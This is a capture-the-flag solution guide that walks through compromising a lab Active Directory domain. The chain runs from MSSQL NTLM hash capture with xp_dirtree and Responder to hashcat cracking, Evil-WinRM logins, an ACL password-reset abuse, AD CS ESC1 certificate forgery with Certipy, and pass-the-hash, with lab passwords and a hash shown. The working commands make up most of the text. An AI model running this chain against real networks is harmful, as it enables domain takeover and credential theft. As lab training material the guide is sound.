

AD CTF SOLUTION GUIDE

Scenario Overview

- **Target IP:** 10.10.10.30 (MSSQL / Web)
- **Child DC:** 10.10.10.20 (dev.corp.local)
- **Parent DC:** 10.10.10.10 (corp.local)
- **Goal:** Compromise the domain and retrieve the flags.

PHASE 1: INITIAL ACCESS (MSSQL & NTLM CAPTURE)

1. Enumeration

We start by scanning the application server to identify open ports.

```
nmap -p- 10.10.10.30 -T5 -A
```

- **Findings:** Port 1433 (MSSQL) and Port 5985 (WinRM) are open.

2. Anonymous MSSQL Login

We attempt to connect to the MSSQL instance using an anonymous/guest account to see if we can execute commands or enumerate data.

```
mssqlclient dev.corp.local/Anonymous:"@10.10.10.30
```

3. Setting the Trap (Responder)

In a new terminal, we start Responder. This tool listens for network authentication requests. We want to force the SQL Server to authenticate back to us so we can capture its hash.

```
sudo responder -I eth0
```

4. Triggering the Hash Capture

Inside the MSSQL shell, we execute a command that forces the server to connect to a shared folder on our attacking machine (10.10.10.40).

```
SQL> EXEC master..xp_dirtree '\\10.10.10.40\share', 1, 1;
```

- **Result:** Responder captures the NTLMv2 hash for the service account running SQL Server: **sql_svc**.

5. Cracking the Hash

We save the captured hash to a file (hash.txt) and use Hashcat to crack it against a wordlist.

```
hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt
```

- **Cracked Password:** 1941.Salembbb.41

PHASE 2: LATERAL MOVEMENT (INFORMATION DISCLOSURE)

1. Remote Access as sql_svc

With the cracked password, we log into the box using Evil-WinRM.

```
evil-winrm -i 10.10.10.30 -u sql_svc -p '1941.Salembbb.41'
```

2. Post-Exploitation Enumeration

We search the file system for interesting files. We find a PowerShell script that seems to contain credentials.

Evil-WinRM PS> type C:\Scripts\db_backup.ps1

- **Loot Found:** The script contains credentials for user **JSmith**: Winter2025!@#ResetAll
-

PHASE 3: PRIVILEGE ESCALATION (ACL ABUSE)

1. Domain Enumeration with BloodHound

We use JSmith's credentials to gather data about the domain structure, users, and permissions.

```
bloodhound-python -u JSmith -p 'Winter2025!@#ResetAll' -d dev.corp.local -ns 10.10.10.20 -c All --zip
```

- **Analysis:** Uploading the zip to BloodHound reveals that JSmith has the **ForceChangePassword** permission over the user IT_Admin.

2. Checking Password Policy

Before resetting the password, we check the policy to ensure our new password meets complexity requirements.

```
nxc smb 10.10.10.20 -u 'JSmith' -p 'Winter2025!@#ResetAll' --pass-pol
```

3. Abusing the ACL (Password Reset)

We use the net rpc tool to remotely reset IT_Admin's password because JSmith has the rights to do so.

```
net rpc password "IT_Admin" 'Summer2025!Complex' -U "dev\JSmith"% 'Winter2025!@#ResetAll' -S 10.10.10.20
```

PHASE 4: DOMAIN DOMINANCE (AD CS ESC1)

1. Finding Vulnerable Certificates

We use Certipy to scan for Active Directory Certificate Services (AD CS) misconfigurations using our new IT_Admin access.

```
certipy-ad find -u 'IT_Admin@dev.corp.local' -p 'Summer2025!Complex' -dc-ip 10.10.10.20 -vulnerable
```

- **Vulnerability Found (ESC1):** The template ESC1_Template allows low-privileged users to request a certificate **and** allows them to specify a "Subject Alternative Name" (SAN). This means we can request a certificate pretending to be the Administrator.

2. Requesting the Malicious Certificate

We request a certificate for the Administrator user.

```
certipy-ad req -u 'IT_Admin@dev.corp.local' -p 'Summer2025!Complex' -ca 'dev-DC-DEV-CA' -target 10.10.10.20 -template 'ESC1_Template' -upn 'Administrator@dev.corp.local'
```

- **Result:** We receive a file named administrator.pfx.

3. Authenticating via Certificate

We use the PFX file to authenticate to the Domain Controller. Certipy will verify the cert and retrieve the NT Hash of the Administrator.

```
certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.10.20
```

- **Loot:** Administrator Hash: d3c125f4b4f0132fa717eeee0ae2b64c

PHASE 5: FINAL STEP

1. Pass-the-Hash

We use the Administrator's hash to log into the Domain Controller via Evil-WinRM.

```
evil-winrm -i 10.10.10.20 -u 'Administrator' -H d3c125f4b4f0132fa717eeee0ae2b64c
```

2. Reading the File

PowerShell

```
*Evil-WinRM* PS> type C:\Users\Administrator\Desktop\note.txt
```

s